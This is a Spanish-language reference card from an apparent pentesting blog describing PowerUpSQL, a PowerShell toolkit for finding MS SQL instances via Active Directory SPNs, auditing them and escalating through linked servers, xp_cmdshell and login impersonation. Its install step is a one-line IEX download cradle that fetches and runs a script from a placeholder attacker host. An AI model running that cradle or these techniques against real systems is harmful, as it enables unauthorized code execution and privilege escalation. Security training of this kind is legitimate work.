the_open_door
café
ESEN
← Herramientas

PowerUpSQL

Descubre, audita y abusa de instancias MS SQL desde PowerShell.

Conjunto de cmdlets de PowerShell para atacar MS SQL desde dentro del dominio. Empieza por lo que ninguna otra hace igual de bien: `Get-SQLInstanceDomain` encuentra **todas** las instancias registradas en Active Directory por sus SPN, sin escanear un solo puerto. Con esa lista comprueba a cuáles se puede acceder con el usuario actual, audita configuraciones débiles y, con `Get-SQLServerLinkCrawl`, recorre los *linked servers* encadenados, que es como una instancia sin privilegios acaba ejecutando comandos como `sa` en otro servidor.

Familia Bases de datos

Flags Get-SQLInstanceDomain Invoke-SQLAudit Get-SQLServerLinkCrawl

Conceptos Command execution in MSSQL (xp_cmdshell), IMPERSONATE in MSSQL (EXECUTE AS LOGIN), MSSQL Linked Servers, Credential reuse

Cheatsheet MS SQL Server · 1433

Instalación

IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/PowerUpSQL.ps1')

Comandos útiles4 comandos

Herramienta de referencia: aún no aparece en una máquina publicada del blog, pero forma parte del arsenal por su uso habitual.